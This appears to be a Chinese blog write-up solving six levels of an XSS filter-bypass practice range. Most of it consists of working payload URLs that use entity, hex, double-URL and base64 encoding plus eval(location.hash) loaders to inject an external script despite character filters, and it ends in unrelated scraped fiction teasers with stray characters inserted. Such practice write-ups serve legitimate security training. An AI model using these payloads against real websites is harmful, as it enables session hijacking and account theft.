獨孤九劍-xss繞過練習

感謝大佬的靶場和思路,pdf:xss修煉之獨孤九劍.pdf

奇怪的xss姿勢增加了.jpg

0x01 第一式

http://xcao.vip/test/xss1.php


提示過濾了=()
思路:在<svg>標簽中的<sciprt>標簽可以執(zhí)行html編碼
alert(1) 對應的html實體編碼為:&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;
最后payload為:
"><svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>
將其url編碼一下,得到:

http://xcao.vip/test/xss1.php?data="><svg><script>%26%23x61%3b%26%23x6C%3b%26%23x65%3b%26%23x72%3b%26%23x74%3b%26%23x28%3b%26%23x31%3b%26%23x29%3b<%2fscript><%2fsvg>

觸發(fā)xss


接下來加載alert.js,我們可以將需要執(zhí)行的js代碼藏在url的#號后面
然后使用 location.hash獲取 #+#號后面的內容
location.hash.slice(1)去除#號,再用eval(location.hash.slice(1))執(zhí)行屯仗,
eval(location.hash.slice(1))對應的html實體編碼為:&#x65;&#x76;&#x61;&#x6c;&#x28;&#x6c;&#x6f;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x2e;&#x68;&#x61;&#x73;&#x68;&#x2e;&#x73;&#x6c;&#x69;&#x63;&#x65;&#x28;&#x31;&#x29;&#x29;
最終payload1:

http://xcao.vip/test/xss1.php?data="><svg><script>%26%23x65%3b%26%23x76%3b%26%23x61%3b%26%23x6c%3b%26%23x28%3b%26%23x6c%3b%26%23x6f%3b%26%23x63%3b%26%23x61%3b%26%23x74%3b%26%23x69%3b%26%23x6f%3b%26%23x6e%3b%26%23x2e%3b%26%23x68%3b%26%23x61%3b%26%23x73%3b%26%23x68%3b%26%23x2e%3b%26%23x73%3b%26%23x6c%3b%26%23x69%3b%26%23x63%3b%26%23x65%3b%26%23x28%3b%26%23x31%3b%26%23x29%3b%26%23x29%3b<%2fscript><%2fsvg>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'

最終payload2:

http://xcao.vip/test/xss1.php?data=%22%3E%3Cscript%3Eeval.call`${location[%27hash%27][%27slice%27]`1`}`%3C/script%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'

0x02 第二式

http://xcao.vip/test/xss2.php


提示過濾了=().
第一式的第一種解法可以使用

在es6語法中``是可以代替括號使用的
因此可以使用setTimeout函數(shù)去觸發(fā)代碼 setTimeout`代碼`
同時可以將代碼編碼成\uXXXX或者\xXX格式繞過限制
eval(location.hash.slice(1))進行\xXX格式的編碼
最終payload:

http://xcao.vip/test/xss2.php?data=%22%3E%3Cscript%3EsetTimeout`\x65\x76\x61\x6C\x28\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x2E\x68\x61\x73\x68\x2E\x73\x6C\x69\x63\x65\x28\x31\x29\x29`%3C/script%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'

0x03 第三式

http://xcao.vip/test/xss3.php


過濾了().&#\,開放了=
開放了等于號直接使用<script src='http://xcao.vip/xss/alert.js'></script>
這里還過濾了.號,直接二次編碼為%252e完事
最終payload:

http://xcao.vip/test/xss3.php?data=%22%3E%3Cscript%20src=%27http://xcao%252evip/xss/alert%252ejs%27%3E%3C/script%3E

0x04 第四式

http://xcao.vip/test/xss4.php


過濾了=().&#\
大佬的思路是用 url編碼+javasjcript偽協(xié)議 繞過過濾

document.location.assign再用location['assign'](location['replace']也可以)表示橘沥,然后再給javascript偽協(xié)議再套一層eval函數(shù)
最終payload為:

http://xcao.vip/test/xss4.php?data=%22%3E%3Cscript%3Elocation[%27assign%27]`javascript:eval%2528eval%2528location%252ehash%252eslice%25281%2529%2529%2529`%3C/script%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'

0x05 第五式

http://xcao.vip/test/xss5.php


過濾了().&#\%
大佬的思路是借助十進制ip,繞過.號
其實還可以利用iframe標簽加base64編碼

http://xcao.vip/test/xss5.php?data=1%22%3E%3Cscript%3Etop[%22document%22][%22write%22]`${%22data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4=%3Etest%3C/iframe%3E%22}%20%3Ciframe%20src=`%3C/script%3E

0x06 第六式

http://xcao.vip/test/xss6.php


過濾了=().&#\%
在第五式的基礎上使用top['String']['fromCharCode']`61`代替等號
最終payload:

http://xcao.vip/test/xss6.php?data=1%22%3E%3Cscript%3Etop[%22document%22][%22write%22]`${top[%22String%22][%22fromCharCode%22]`61`%2b%22data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4=%3E111%3C/iframe%3E%22}%20%3Ciframe%20src`%3C/script%3E%
http://xcao.vip/test/xss6.php/?data=%22%3E%3Cscript%3Edocument[%22write%22]`${location[%27hash%27][%27slice%27]`1`}%3Cimg%20`%3C/script%3E#src='x'onerror=with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'//

剩下的七八九式就不玩了夯秃,不得不說大佬們tql

?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末座咆,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子仓洼,更是在濱河造成了極大的恐慌介陶,老刑警劉巖,帶你破解...
    沈念sama閱讀 219,490評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件色建,死亡現(xiàn)場離奇詭異哺呜,居然都是意外死亡,警方通過查閱死者的電腦和手機箕戳,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,581評論 3 395
  • 文/潘曉璐 我一進店門某残,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人漂羊,你說我怎么就攤上這事驾锰。” “怎么了走越?”我有些...
    開封第一講書人閱讀 165,830評論 0 356
  • 文/不壞的土叔 我叫張陵椭豫,是天一觀的道長。 經常有香客問我旨指,道長赏酥,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,957評論 1 295
  • 正文 為了忘掉前任谆构,我火速辦了婚禮裸扶,結果婚禮上,老公的妹妹穿的比我還像新娘搬素。我一直安慰自己呵晨,他們只是感情好魏保,可當我...
    茶點故事閱讀 67,974評論 6 393
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著摸屠,像睡著了一般谓罗。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上季二,一...
    開封第一講書人閱讀 51,754評論 1 307
  • 那天檩咱,我揣著相機與錄音,去河邊找鬼胯舷。 笑死刻蚯,一個胖子當著我的面吹牛,可吹牛的內容都是我干的桑嘶。 我是一名探鬼主播炊汹,決...
    沈念sama閱讀 40,464評論 3 420
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼不翩!你這毒婦竟也來了兵扬?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 39,357評論 0 276
  • 序言:老撾萬榮一對情侶失蹤口蝠,失蹤者是張志新(化名)和其女友劉穎器钟,沒想到半個月后,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體妙蔗,經...
    沈念sama閱讀 45,847評論 1 317
  • 正文 獨居荒郊野嶺守林人離奇死亡傲霸,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 37,995評論 3 338
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了眉反。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片昙啄。...
    茶點故事閱讀 40,137評論 1 351
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖寸五,靈堂內的尸體忽然破棺而出梳凛,到底是詐尸還是另有隱情,我是刑警寧澤梳杏,帶...
    沈念sama閱讀 35,819評論 5 346
  • 正文 年R本政府宣布韧拒,位于F島的核電站,受9級特大地震影響十性,放射性物質發(fā)生泄漏叛溢。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,482評論 3 331
  • 文/蒙蒙 一劲适、第九天 我趴在偏房一處隱蔽的房頂上張望楷掉。 院中可真熱鬧,春花似錦霞势、人聲如沸烹植。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,023評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽草雕。三九已至鄙才,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間促绵,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,149評論 1 272
  • 我被黑心中介騙來泰國打工嘴纺, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留败晴,地道東北人。 一個月前我還...
    沈念sama閱讀 48,409評論 3 373
  • 正文 我出身青樓栽渴,卻偏偏與公主長得像尖坤,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子闲擦,可洞房花燭夜當晚...
    茶點故事閱讀 45,086評論 2 355